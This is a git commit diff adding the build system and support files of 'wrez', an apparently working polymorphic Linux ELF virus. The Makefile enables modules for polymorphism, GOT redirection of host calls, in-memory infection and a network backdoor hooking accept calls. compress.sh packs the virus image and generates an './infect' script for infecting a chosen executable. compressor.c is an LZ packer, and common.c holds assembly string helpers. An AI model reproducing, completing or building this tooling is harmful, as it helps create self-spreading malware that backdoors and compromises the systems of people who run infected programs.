diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/wrez | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/wrez')
109 files changed, 14227 insertions, 0 deletions
diff --git a/other/wrez/Makefile b/other/wrez/Makefile new file mode 100644 index 0000000..680b40d --- /dev/null +++ b/other/wrez/Makefile | |||
| @@ -0,0 +1,192 @@ | |||
| 1 | |||
| 2 | VERSION=0.7.8 | ||
| 3 | DFLAGS += -DPOLYMORPHISM # make the virus polymorph | ||
| 4 | |||
| 5 | # LOOKUP module (lookup.[ch]) | ||
| 6 | #DFLAGS += -DLOOKUP # PLT/GOT capabilities | ||
| 7 | #DFLAGS += -DLOOKUP_LIBC_CALL_EXAMPLE # call system from within the virus | ||
| 8 | #DFLAGS += -DLOOKUP_GOT_REDIRECTION_EXAMPLE # redirect printf calls of host | ||
| 9 | #DFLAGS += -DLOOKUP_GOT_DEEP_REDIRECTION_EXAMPLE # redirect deep calls of libs | ||
| 10 | |||
| 11 | # INMEM module (inmem.[ch]) | ||
| 12 | #DFLAGS += -DINMEM | ||
| 13 | |||
| 14 | # FINGERPRINT module (fingerprint.c, crypto.c) | ||
| 15 | #DFLAGS += -DFINGERPRINT | ||
| 16 | |||
| 17 | # NETWORK BACKDOOR module, using accept | ||
| 18 | #DFLAGS += -DLOOKUP_BACKDOOR_NETWORK_MAGIC # hooks all accept calls | ||
| 19 | |||
| 20 | |||
| 21 | ### | ||
| 22 | ### DO NOT CHANGE ANYTHING BELOW THIS LINE | ||
| 23 | ### | ||
| 24 | |||
| 25 | CFLAGS += -Wall -fconserve-space -Os -fno-builtin $(DFLAGS) -g -ggdb | ||
| 26 | |||
| 27 | OBJS = wrcore.o inmem.o lime.o lime-interface.o lookup.o fingerprint.o crypto.o | ||
| 28 | |||
| 29 | |||
| 30 | CC=gcc-2.95 | ||
| 31 | CC_USER=gcc | ||
| 32 | CFLAGS_USER=-Wall -g -ggdb | ||
| 33 | |||
| 34 | all: wrez | ||
| 35 | |||
| 36 | dist: releaseclean release | ||
| 37 | make distclean | ||
| 38 | |||
| 39 | releaseclean: distclean | ||
| 40 | rm -fR release* | ||
| 41 | |||
| 42 | release: releaseclean wrez sweep clean | ||
| 43 | rm -fR release* | ||
| 44 | mkdir release-$(VERSION) | ||
| 45 | mv wrez.bin.out wrez.bin.conf initial infect wrezsweep \ | ||
| 46 | release-$(VERSION)/ | ||
| 47 | |||
| 48 | distclean: clean | ||
| 49 | rm -f wrez.map | ||
| 50 | rm -f wrez.bin.out | ||
| 51 | rm -f infect initial | ||
| 52 | |||
| 53 | clean: cryptoclean limeclean lookupclean | ||
| 54 | rm -f wrez | ||
| 55 | rm -f *.o | ||
| 56 | rm -f wrezdefs.h wrezdefs.inc | ||
| 57 | |||
| 58 | echo | awk '{ printf ("#define WREZ_CFG_START 0x41414141\n"); }' >> wrezdefs.h | ||
| 59 | echo | awk '{ printf ("#define WREZ_SIZE 0x41414141\n"); }' >> wrezdefs.h | ||
| 60 | echo | awk '{ printf ("wrez_len equ 0x41414141\n"); }' >> wrezdefs.inc | ||
| 61 | |||
| 62 | # additional build process stuff | ||
| 63 | rm -f compressor | ||
| 64 | rm -f wrez.bin wrez.2nd wrez.2nd.compressed | ||
| 65 | |||
| 66 | fclean: | ||
| 67 | rm -f wrez *.o | ||
| 68 | |||
| 69 | sweep: wrezsweep.c | ||
| 70 | $(CC) -o wrezsweep wrezsweep.c -Wall -g -ggdb | ||
| 71 | |||
| 72 | # lookup and linker engine | ||
| 73 | lookupclean: | ||
| 74 | rm -f lookup | ||
| 75 | rm -fR lookup-test | ||
| 76 | |||
| 77 | lookuptest: lookup.c | ||
| 78 | rm -fR lookup-test | ||
| 79 | mkdir lookup-test | ||
| 80 | cd lookup-example ; ./shared-library-build.sh ; cd .. | ||
| 81 | $(CC_USER) $(CFLAGS_USER) -Llookup-example -lshared-library \ | ||
| 82 | -DTESTING -DTESTING_DEBUG -o lookup lookup.c | ||
| 83 | mv lookup lookup-test/ | ||
| 84 | mv lookup-example/libshared-library.so lookup-test/ | ||
| 85 | mv lookup-example/shared-library-use lookup-test/ | ||
| 86 | echo "# use with 'source ldpath.sh' to set LD_LIBRARY_PATH" > lookup-test/ldpath.sh | ||
| 87 | echo >> lookup-test/ldpath.sh | ||
| 88 | echo "export LD_LIBRARY_PATH=\`pwd\`" >> lookup-test/ldpath.sh | ||
| 89 | chmod 755 lookup-test/ldpath.sh | ||
| 90 | |||
| 91 | lookuptestpm: lookup-pm.c | ||
| 92 | rm -fR lookup-test | ||
| 93 | mkdir lookup-test | ||
| 94 | cd lookup-example ; ./shared-library-build.sh ; cd .. | ||
| 95 | $(CC_USER) $(CFLAGS_USER) -Llookup-example -lshared-library \ | ||
| 96 | -DTESTING -DTESTING_DEBUG -o lookup-pm lookup-pm.c | ||
| 97 | mv lookup-pm lookup-test/ | ||
| 98 | mv lookup-example/libshared-library.so lookup-test/ | ||
| 99 | mv lookup-example/shared-library-use lookup-test/ | ||
| 100 | echo "# use with 'source ldpath.sh' to set LD_LIBRARY_PATH" > lookup-test/ldpath.sh | ||
| 101 | echo >> lookup-test/ldpath.sh | ||
| 102 | echo "export LD_LIBRARY_PATH=\`pwd\`" >> lookup-test/ldpath.sh | ||
| 103 | chmod 755 lookup-test/ldpath.sh | ||
| 104 | |||
| 105 | # in-memory infection engine | ||
| 106 | inmemtest: inmem.c lookup-pm.c | ||
| 107 | $(CC_USER) $(CFLAGS_USER) -c -o lookup-pm.o lookup-pm.c | ||
| 108 | @echo | ||
| 109 | @echo "# ignore warnings about missing external prototypes in 'inmem'" | ||
| 110 | @echo | ||
| 111 | $(CC_USER) $(CFLAGS_USER) -o inmem inmem.c lookup-pm.o -DTESTING | ||
| 112 | $(CC_USER) $(CFLAGS_USER) -o /tmp/inmem-test inmem-test.c | ||
| 113 | @echo | ||
| 114 | @echo "# fix the page permissions of ./inmem executeable to +rwx on first segment" | ||
| 115 | @echo | ||
| 116 | |||
| 117 | # the compressor (not included within final binary) | ||
| 118 | compressor: compressor.c | ||
| 119 | $(CC) -o compressor compressor.c -O2 -g -ggdb | ||
| 120 | |||
| 121 | initial: initial.c | ||
| 122 | # diet $(CC) -static -o initial initial.c -g -ggdb -Wall | ||
| 123 | $(CC) -o initial initial.c -g -ggdb -Wall | ||
| 124 | |||
| 125 | # polymorphism engine (lime) | ||
| 126 | lime.o: lime.asm | ||
| 127 | nasm -f elf -o lime.o lime.asm | ||
| 128 | |||
| 129 | limeclean: | ||
| 130 | rm -f lime-interface-test lime*.o | ||
| 131 | |||
| 132 | limetest: lime-interface-test.c lime-interface.o lime.o | ||
| 133 | $(CC) $(CFLAGS) -c -o lime-interface-test.o lime-interface-test.c | ||
| 134 | ld -s -T lime-interface-test.lds -o lime-interface-test | ||
| 135 | |||
| 136 | # crypto stuff | ||
| 137 | cryptotest: crypto-test.c crypto.c | ||
| 138 | $(CC_USER) $(CFLAGS_USER) -o crypto-test crypto-test.c crypto.c | ||
| 139 | ./crypto-test AAAAAAAA | ||
| 140 | ./crypto-test aaaaaaaa | ||
| 141 | |||
| 142 | cryptoclean: | ||
| 143 | rm -f crypto-test | ||
| 144 | |||
| 145 | wrez: compress.sh compressor initial wrez.asm $(OBJS) | ||
| 146 | |||
| 147 | ifneq ($(final),on) | ||
| 148 | rm -f wrezdefs.inc wrezdefs.h | ||
| 149 | echo | awk '{ printf ("wrez_len equ 0x41414141\n"); }' >> wrezdefs.inc | ||
| 150 | nasm -f elf -o wrez.o wrez.asm | ||
| 151 | |||
| 152 | nm wrez.o | grep "wrcfg$$" | \ | ||
| 153 | awk '{ printf ("#define WREZ_CFG_START 0x%s\n", $$1); }' \ | ||
| 154 | >> wrezdefs.h | ||
| 155 | echo | awk '{ printf ("#define WREZ_SIZE 0x41414141\n"); }' >> wrezdefs.h | ||
| 156 | # link using preprocessing linkmap description file | ||
| 157 | rm -f wrez-link-actual.lds | ||
| 158 | gcc -E -C -P -nostdinc $(DFLAGS) -x c-header wrez-link.lds > wrez-link-actual.lds | ||
| 159 | ld -Map wrez.map -s -T wrez-link-actual.lds -o wrez | ||
| 160 | # ld -Map wrez.map -T wrez-link.lds -o wrez | ||
| 161 | rm -f wrez-link-actual.lds | ||
| 162 | size wrez | grep wrez | \ | ||
| 163 | awk '{ if ($$2 != 0 || $$3 != 0) { \ | ||
| 164 | printf ("\nWARNING: non-zero absolute elements\n\n"); \ | ||
| 165 | exit (1); } }' | ||
| 166 | |||
| 167 | # get proper size | ||
| 168 | size wrez | grep wrez | \ | ||
| 169 | awk '{ printf ("#define WREZ_SIZE %s\n", $$1); }' \ | ||
| 170 | >> wrezdefs.h | ||
| 171 | cat wrezdefs.h | grep -v "#define WREZ_SIZE 0x41414141" > wrezdefs.h.temp | ||
| 172 | mv wrezdefs.h.temp wrezdefs.h | ||
| 173 | |||
| 174 | # fixup length in .inc assembler include file | ||
| 175 | size wrez | grep wrez | \ | ||
| 176 | awk '{ printf ("wrez_len equ %s\n", $$1); }' \ | ||
| 177 | > wrezdefs.inc | ||
| 178 | |||
| 179 | make final=on fclean wrez | ||
| 180 | else | ||
| 181 | nasm -f elf -o wrez.o wrez.asm | ||
| 182 | rm -f wrez-link-actual.lds | ||
| 183 | gcc -E -C -P -nostdinc $(DFLAGS) -x c-header wrez-link.lds > wrez-link-actual.lds | ||
| 184 | ld -Map wrez.map -s -T wrez-link-actual.lds -o wrez | ||
| 185 | rm -f wrez-link-actual.lds | ||
| 186 | |||
| 187 | echo;echo "### final initial infector built. (version $(VERSION))";echo;size wrez | ||
| 188 | |||
| 189 | ./compress.sh | ||
| 190 | endif | ||
| 191 | |||
| 192 | |||
diff --git a/other/wrez/common.c b/other/wrez/common.c new file mode 100644 index 0000000..f791e63 --- /dev/null +++ b/other/wrez/common.c | |||
| @@ -0,0 +1,128 @@ | |||
| 1 | |||
| 2 | #ifndef COMMON_C | ||
| 3 | #define COMMON_C | ||
| 4 | |||
| 5 | #ifndef NULL | ||
| 6 | #define NULL ((void *) 0) | ||
| 7 | #endif | ||
| 8 | |||
| 9 | |||
| 10 | static inline void | ||
| 11 | memcpy (void *dst, void *src, unsigned int len) | ||
| 12 | { | ||
| 13 | __asm__ __volatile__ (" | ||
| 14 | cld | ||
| 15 | rep movsb | ||
| 16 | " : : "c" (len), "S" (src), "D" (dst)); | ||
| 17 | } | ||
| 18 | |||
| 19 | |||
| 20 | static inline int | ||
| 21 | memcmp (unsigned char *s1, unsigned char *s2, unsigned int len) | ||
| 22 | { | ||
| 23 | register unsigned int reg_ecx; | ||
| 24 | |||
| 25 | __asm__ __volatile__ (" | ||
| 26 | cld | ||
| 27 | repe cmpsb | ||
| 28 | je lme | ||
| 29 | incl %%ecx | ||
| 30 | lme: | ||
| 31 | " : "=c" (reg_ecx) : "c" (len), "S" (s1), "D" (s2)); | ||
| 32 | |||
| 33 | return (reg_ecx); | ||
| 34 | } | ||
| 35 | |||
| 36 | |||
| 37 | static inline void | ||
| 38 | memset (void *dst, unsigned char wrbyte, unsigned int len) | ||
| 39 | { | ||
| 40 | __asm__ __volatile__ (" | ||
| 41 | cld | ||
| 42 | rep stosb | ||
| 43 | " : : "c" (len), "D" (dst), "a" (wrbyte)); | ||
| 44 | } | ||
| 45 | |||
| 46 | |||
| 47 | static inline int | ||
| 48 | strcmp (unsigned char *s1, unsigned char *s2) | ||
| 49 | { | ||
| 50 | register unsigned int reg_ecx; | ||
| 51 | |||
| 52 | __asm__ __volatile__ (" | ||
| 53 | xorl %%ecx, %%ecx | ||
| 54 | xorl %%eax, %%eax | ||
| 55 | pushl %%esi | ||
| 56 | cld | ||
| 57 | ls0: lodsb | ||
| 58 | incl %%ecx | ||
| 59 | or %%eax, %%eax | ||
| 60 | jnz ls0 | ||
| 61 | |||
| 62 | popl %%esi | ||
| 63 | repe cmpsb | ||
| 64 | " : "=c" (reg_ecx) : "S" (s1), "D" (s2) : "eax"); | ||
| 65 | |||
| 66 | return (reg_ecx); | ||
| 67 | } | ||
| 68 | |||
| 69 | |||
| 70 | static inline int | ||
| 71 | strlen (unsigned char *s1) | ||
| 72 | { | ||
| 73 | register unsigned int reg_ecx; | ||
| 74 | |||
| 75 | __asm__ __volatile__ (" | ||
| 76 | xorl %%eax, %%eax | ||
| 77 | movl %%eax, %%ecx | ||
| 78 | decl %%ecx | ||
| 79 | repne scasb | ||
| 80 | not %%ecx | ||
| 81 | decl %%ecx | ||
| 82 | " : "=c" (reg_ecx) : "D" (s1) : "eax"); | ||
| 83 | |||
| 84 | return (reg_ecx); | ||
| 85 | } | ||
| 86 | |||
| 87 | |||
| 88 | #if 0 | ||
| 89 | /* gcc's version is smaller, doh! | ||
| 90 | */ | ||
| 91 | static inline int | ||
| 92 | strstr (unsigned char *s1_hay, unsigned char *s2_needle) | ||
| 93 | { | ||
| 94 | register unsigned int reg_ecx; | ||
| 95 | |||
| 96 | __asm__ __volatile__ (" | ||
| 97 | xorl %%ecx, %%ecx | ||
| 98 | lss_%=: movb (%%esi), %%al | ||
| 99 | orb %%al, %%al | ||
| 100 | jz lso_%= | ||
| 101 | pushl %%esi | ||
| 102 | pushl %%edi | ||
| 103 | ls0_%=: cmpsb | ||
| 104 | jne ls1_%= | ||
| 105 | cmpb $0x0, (%%edi) | ||
| 106 | je lse_%= | ||
| 107 | jmp ls0_%= | ||
| 108 | ls1_%=: popl %%edi | ||
| 109 | popl %%esi | ||
| 110 | incl %%esi | ||
| 111 | jmp lss_%= | ||
| 112 | lso_%=: incl %%ecx | ||
| 113 | lse_%=: | ||
| 114 | " : "=c" (reg_ecx) : "S" (s1_hay), "D" (s2_needle) : "eax"); | ||
| 115 | |||
| 116 | } | ||
| 117 | #endif | ||
| 118 | |||
| 119 | |||
| 120 | static inline void | ||
| 121 | strcpy (unsigned char *dst, unsigned char *src) | ||
| 122 | { | ||
| 123 | memcpy (dst, src, strlen (src) + 1); | ||
| 124 | } | ||
| 125 | |||
| 126 | #endif | ||
| 127 | |||
| 128 | |||
diff --git a/other/wrez/commontest.c b/other/wrez/commontest.c new file mode 100644 index 0000000..5ad2982 --- /dev/null +++ b/other/wrez/commontest.c | |||
| @@ -0,0 +1,38 @@ | |||
| 1 | |||
| 2 | #include <stdio.h> | ||
| 3 | #include "common.c" | ||
| 4 | |||
| 5 | |||
| 6 | int | ||
| 7 | main (int argc, char *argv[]) | ||
| 8 | { | ||
| 9 | unsigned char foo[4]; | ||
| 10 | unsigned char src[64], | ||
| 11 | dst[64]; | ||
| 12 | |||
| 13 | memset (src, 'a', 64); | ||
| 14 | src[sizeof (src) - 1] = '\0'; | ||
| 15 | memcpy (dst, src, sizeof (dst)); | ||
| 16 | src[sizeof (src) - 1] = '\n'; | ||
| 17 | |||
| 18 | printf ("memcmp (src, dst, 64) = %d\n", | ||
| 19 | memcmp (src, dst, sizeof (src))); | ||
| 20 | |||
| 21 | printf ("strlen (\"hello world\") = %d\n", strlen ("hello world")); | ||
| 22 | printf ("strlen (\"\") = %d\n", strlen ("")); | ||
| 23 | |||
| 24 | foo[3] = '\0'; | ||
| 25 | memset (foo, '\x41', 3); | ||
| 26 | printf ("foo[0],[1],[2],[3]: 0x%02x 0x%02x 0x%02x 0x%02x\n", | ||
| 27 | foo[0], foo[1], foo[2], foo[3]); | ||
| 28 | |||
| 29 | printf ("strcmp (\"foobar\", \"foobaz\") == %d\n", | ||
| 30 | strcmp ("foobar", "foobaz")); | ||
| 31 | printf ("strcmp (\"foobar\", \"foobar\") == %d\n", | ||
| 32 | strcmp ("foobar", "foobar")); | ||
| 33 | |||
| 34 | |||
| 35 | return (0); | ||
| 36 | } | ||
| 37 | |||
| 38 | |||
diff --git a/other/wrez/compress.sh b/other/wrez/compress.sh new file mode 100755 index 0000000..2ba65f3 --- /dev/null +++ b/other/wrez/compress.sh | |||
| @@ -0,0 +1,74 @@ | |||
| 1 | #!/bin/sh | ||
| 2 | |||
| 3 | # later gcc versions (also the 2.95 trunk) changed formatting to 64 bit | ||
| 4 | cat wrez.map | sed s/0x00000000/0x/g > wrez.map-tmp | ||
| 5 | mv wrez.map-tmp wrez.map | ||
| 6 | |||
| 7 | skip=`cat wrez.map | mawk ' | ||
| 8 | /wrez_init/ { wrez_init = $1; } | ||
| 9 | /data_start/ { data_start = $1; } | ||
| 10 | END { print (data_start - wrez_init); }'` | ||
| 11 | |||
| 12 | wrcfgrel=`cat wrez.map | mawk ' | ||
| 13 | /wrez_init/ { wrez_init = $1; } | ||
| 14 | /wrcfg/ { wrcfg = $1; } | ||
| 15 | END { print (wrcfg - wrez_init); }'` | ||
| 16 | |||
| 17 | echo uncompressed data starts at +$skip | ||
| 18 | echo wrconfig structure at +$wrcfgrel | ||
| 19 | |||
| 20 | rm -f wrez.bin | ||
| 21 | cp wrez wrez.bin | ||
| 22 | echo extracting virus image to wrez.bin | ||
| 23 | objcopy -j .text -O binary wrez.bin | ||
| 24 | |||
| 25 | echo extracting data to compress to wrez.2nd | ||
| 26 | rm -f wrez.2nd | ||
| 27 | dd bs=1 if=wrez.bin of=wrez.2nd skip=$skip | ||
| 28 | |||
| 29 | echo compressing wrez.2nd to wrez.2nd.compressed | ||
| 30 | lzstuff=`./compressor -s wrez.2nd wrez.2nd.compressed` | ||
| 31 | echo === LZ information: $lzstuff | ||
| 32 | |||
| 33 | echo joining the decompressor and the compressed data to wrez.bin.out | ||
| 34 | rm -f wrez.bin.out | ||
| 35 | dd bs=1 if=wrez.bin of=wrez.bin.out count=$skip | ||
| 36 | dd bs=1 if=wrez.2nd.compressed of=wrez.bin.out seek=$skip | ||
| 37 | |||
| 38 | echo infecting first victim file | ||
| 39 | #rm -f victim | ||
| 40 | #cp `which date` victim.clean | ||
| 41 | #cp victim.clean victim | ||
| 42 | echo | ||
| 43 | echo -n "### final virus size: " | ||
| 44 | ls -l wrez.bin.out | awk '{ print $5 }' | ||
| 45 | echo | ||
| 46 | |||
| 47 | echo building configuration file | ||
| 48 | rm -f wrez.bin.conf | ||
| 49 | cat > wrez.bin.conf << __EOF__ | ||
| 50 | configrel $wrcfgrel | ||
| 51 | skip $skip | ||
| 52 | compress $lzstuff | ||
| 53 | __EOF__ | ||
| 54 | |||
| 55 | echo building ./infect script | ||
| 56 | rm -f infect | ||
| 57 | cat > infect << __EOF__ | ||
| 58 | #!/bin/sh | ||
| 59 | |||
| 60 | if [ \$# != 1 ]; then | ||
| 61 | echo "usage: \$0 pathname" | ||
| 62 | echo | ||
| 63 | exit | ||
| 64 | fi | ||
| 65 | cp \$1 victim | ||
| 66 | ./initial victim | ||
| 67 | mv victim \$1.infected | ||
| 68 | ls -l \$1 \$1.infected | ||
| 69 | __EOF__ | ||
| 70 | chmod 700 ./infect | ||
| 71 | echo | ||
| 72 | echo "### done, you can infect executeable with \"./infect pathname\" now" | ||
| 73 | echo | ||
| 74 | |||
diff --git a/other/wrez/compressor b/other/wrez/compressor new file mode 100755 index 0000000..e8f2aa6 --- /dev/null +++ b/other/wrez/compressor | |||
| Binary files differ | |||
diff --git a/other/wrez/compressor.c b/other/wrez/compressor.c new file mode 100644 index 0000000..91f3569 --- /dev/null +++ b/other/wrez/compressor.c | |||
| @@ -0,0 +1,466 @@ | |||
| 1 | |||
| 2 | /* ripped from: | ||
| 3 | * kim holviala (kimmy/pulp) | ||
| 4 | * sed | ||
| 5 | * | ||
| 6 | * i'm sorry for ripping this, but as i just cut code from it, it does not | ||
| 7 | * matter that much gpl-wise. uhhohh. | ||
| 8 | */ | ||
| 9 | |||
| 10 | #include <stdio.h> | ||
| 11 | #include <stdlib.h> | ||
| 12 | #include <string.h> | ||
| 13 | |||
| 14 | |||
| 15 | #define byte unsigned char | ||
| 16 | #define word unsigned short | ||
| 17 | #define dword unsigned long | ||
| 18 | |||
| 19 | #define OK 0 | ||
| 20 | #define ERROR 1 | ||
| 21 | |||
| 22 | #define MAXSIZE 20000 | ||
| 23 | |||
| 24 | #define TRUE 1 | ||
| 25 | #define FALSE 0 | ||
| 26 | |||
| 27 | |||
| 28 | byte _buffer[MAXSIZE], lzbuffer[MAXSIZE]; | ||
| 29 | byte * buffer=0; | ||
| 30 | word lenght=0, lzlenght=0, hufflimit1=0, hufflimit2=0, lenlimit=0, decodelenght=0; | ||
| 31 | int maxhuffman=0, dummy=0; | ||
| 32 | int bitpos=0; | ||
| 33 | |||
| 34 | char *rotorchar = "-/|\\"; | ||
| 35 | |||
| 36 | char *info = "Six-2-Four v1.0 - Exepacker for 4Kb-intros.\n" | ||
| 37 | "Copyright (c) Kim Holviala a.k.a Kimmy/PULP Productions 1997.\n" | ||
| 38 | "Linux version - Sed (sed@free.fr) october 1999\n" | ||
| 39 | " Licenced under the terms of the GNU General Public Licence.\n"; | ||
| 40 | |||
| 41 | char *help = " Usage: 624 [-s] infile [outfile]\n\n" | ||
| 42 | " Where: -s - use super duper compression\n" | ||
| 43 | " infile - tinlinked file shorter than 20000 bytes\n" | ||
| 44 | "This program is EMAILWARE. You're free to use this even with commercial\n" | ||
| 45 | "programs, AFTER you email me to <kimmy@iki.fi> and tell me the name of\n" | ||
| 46 | "your favorite dark beer!\n" | ||
| 47 | "The Linux version you are running in licenced under the terms\nof the GNU General Public Licence.\n" | ||
| 48 | "It requires nasm (available at http://www.web-sites.co.uk/nasm/index.html)\n" | ||
| 49 | "and tinlink 1.0 (available at http://sed.free.fr/tinlink/index.html)\n"; | ||
| 50 | |||
| 51 | |||
| 52 | |||
| 53 | /*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± | ||
| 54 | * | ||
| 55 | * Write one bit to the lzbuffer | ||
| 56 | * | ||
| 57 | *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/ | ||
| 58 | |||
| 59 | void writebit(word bit) { | ||
| 60 | byte mask = 1; | ||
| 61 | |||
| 62 | mask <<= bitpos; | ||
| 63 | |||
| 64 | if (bit == 0) lzbuffer[lzlenght] &= 255-mask; | ||
| 65 | else lzbuffer[lzlenght] |= mask; | ||
| 66 | |||
| 67 | if (++bitpos > 7) { | ||
| 68 | |||
| 69 | bitpos = 0; | ||
| 70 | lzlenght++; | ||
| 71 | |||
| 72 | /* it's possible to have a bigger file than the original, in that case, | ||
| 73 | * we must stop | ||
| 74 | */ | ||
| 75 | if (lzlenght >= MAXSIZE) { | ||
| 76 | fprintf(stderr, "\nSorry, but the compressed file would be too big.\n"); | ||
| 77 | exit(1); | ||
| 78 | } | ||
| 79 | } | ||
| 80 | } | ||
| 81 | |||
| 82 | |||
| 83 | |||
| 84 | /*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± | ||
| 85 | * | ||
| 86 | * Write n bits to the lzbuffer | ||
| 87 | * | ||
| 88 | *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/ | ||
| 89 | |||
| 90 | void writedata(word b, word mask) { | ||
| 91 | |||
| 92 | do { | ||
| 93 | writebit(b & mask); | ||
| 94 | mask >>= 1; | ||
| 95 | |||
| 96 | } while (mask > 0); | ||
| 97 | } | ||
| 98 | |||
| 99 | |||
| 100 | |||
| 101 | /*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± | ||
| 102 | * | ||
| 103 | * Write one "huffman"-coded number to the lzbuffer | ||
| 104 | * | ||
| 105 | *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/ | ||
| 106 | |||
| 107 | void writehuffman(word number) { | ||
| 108 | |||
| 109 | word mask; | ||
| 110 | |||
| 111 | |||
| 112 | number--; | ||
| 113 | |||
| 114 | if (number < (hufflimit1 * 2)) { | ||
| 115 | |||
| 116 | writebit(0); | ||
| 117 | mask = hufflimit1; | ||
| 118 | } | ||
| 119 | else { | ||
| 120 | number -= (hufflimit1 * 2); | ||
| 121 | |||
| 122 | writebit(1); | ||
| 123 | mask = hufflimit2; | ||
| 124 | } | ||
| 125 | |||
| 126 | |||
| 127 | do { | ||
| 128 | writebit(number & mask); | ||
| 129 | mask >>= 1; | ||
| 130 | |||
| 131 | } while (mask > 0); | ||
| 132 | } | ||
| 133 | |||
| 134 | |||
| 135 | |||
| 136 | /*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± | ||
| 137 | * | ||
| 138 | * Return log2 (if that's what it is?) | ||
| 139 | * | ||
| 140 | *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/ | ||
| 141 | |||
| 142 | word log2(word l) { | ||
| 143 | |||
| 144 | switch (l) { | ||
| 145 | case 1: return 0; | ||
| 146 | case 2: return 1; | ||
| 147 | case 4: return 2; | ||
| 148 | case 8: return 3; | ||
| 149 | case 16: return 4; | ||
| 150 | case 32: return 5; | ||
| 151 | case 64: return 6; | ||
| 152 | case 128: return 7; | ||
| 153 | case 256: return 8; | ||
| 154 | case 512: return 9; | ||
| 155 | case 1024: return 10; | ||
| 156 | case 2048: return 11; | ||
| 157 | case 4096: return 12; | ||
| 158 | } | ||
| 159 | |||
| 160 | return 0; | ||
| 161 | } | ||
| 162 | |||
| 163 | |||
| 164 | |||
| 165 | /*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± | ||
| 166 | * | ||
| 167 | * Compress the file | ||
| 168 | * | ||
| 169 | *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/ | ||
| 170 | |||
| 171 | void squeeze(void) { | ||
| 172 | |||
| 173 | int count1=0, count2=0; | ||
| 174 | word bestlen=0, bestpos=0, len=0; | ||
| 175 | byte b=0; | ||
| 176 | |||
| 177 | |||
| 178 | lzlenght = 0; | ||
| 179 | bitpos=0; | ||
| 180 | |||
| 181 | for (count1 = 0; count1 < lenght; count1++) { | ||
| 182 | |||
| 183 | bestlen = 0; | ||
| 184 | b = buffer[count1]; | ||
| 185 | |||
| 186 | for (count2 = (count1 - 1); count2 > (count1 - maxhuffman); count2--) { | ||
| 187 | |||
| 188 | if (count2 < 0) break; | ||
| 189 | |||
| 190 | if (buffer[count2] == b) { | ||
| 191 | |||
| 192 | for (len = 1; len < maxhuffman; len ++) { | ||
| 193 | |||
| 194 | if ((count1 + len) > lenght) break; | ||
| 195 | if (buffer[count1 + len] != buffer[count2 + len]) break; | ||
| 196 | } | ||
| 197 | |||
| 198 | if (len > bestlen) { | ||
| 199 | |||
| 200 | bestlen = len; | ||
| 201 | bestpos = count1 - count2; | ||
| 202 | } | ||
| 203 | } | ||
| 204 | |||
| 205 | } | ||
| 206 | |||
| 207 | if (bestlen == 1 && bestpos < 17) { | ||
| 208 | |||
| 209 | writebit(1); | ||
| 210 | writebit(0); | ||
| 211 | writedata(bestpos - 1, 8); | ||
| 212 | |||
| 213 | continue; | ||
| 214 | } | ||
| 215 | |||
| 216 | if (bestlen > 1) { | ||
| 217 | |||
| 218 | if (bestlen < lenlimit) { | ||
| 219 | |||
| 220 | for (count2 = 0; count2 < bestlen; count2++) writebit(1); | ||
| 221 | writebit(0); | ||
| 222 | } | ||
| 223 | else { | ||
| 224 | for (count2 = 0; count2 < lenlimit; count2++) writebit(1); | ||
| 225 | writehuffman(bestlen - 1); | ||
| 226 | } | ||
| 227 | |||
| 228 | count1 += bestlen - 1; | ||
| 229 | writehuffman(bestpos); | ||
| 230 | |||
| 231 | continue; | ||
| 232 | } | ||
| 233 | |||
| 234 | writebit(0); | ||
| 235 | writedata(b, 128); | ||
| 236 | } | ||
| 237 | |||
| 238 | lzlenght++; | ||
| 239 | } | ||
| 240 | |||
| 241 | |||
| 242 | |||
| 243 | /*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± | ||
| 244 | * | ||
| 245 | * Find the best compression values | ||
| 246 | * | ||
| 247 | *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/ | ||
| 248 | |||
| 249 | void compress(void) { | ||
| 250 | |||
| 251 | word besthl1=0, besthl2=0, bestll=0, bestlzlen; | ||
| 252 | byte rotor = 0; | ||
| 253 | |||
| 254 | |||
| 255 | lenlimit = 9; | ||
| 256 | bestlzlen = 60000; | ||
| 257 | |||
| 258 | for (hufflimit1 = 4; hufflimit1 <= 64; hufflimit1 *= 2) | ||
| 259 | for (hufflimit2 = hufflimit1 * 4; hufflimit2 <= 2048; hufflimit2 *= 2) { | ||
| 260 | |||
| 261 | fflush(stdout); | ||
| 262 | rotor++; | ||
| 263 | rotor&=3; | ||
| 264 | |||
| 265 | maxhuffman = (hufflimit2 + hufflimit1) * 2; | ||
| 266 | |||
| 267 | squeeze(); | ||
| 268 | |||
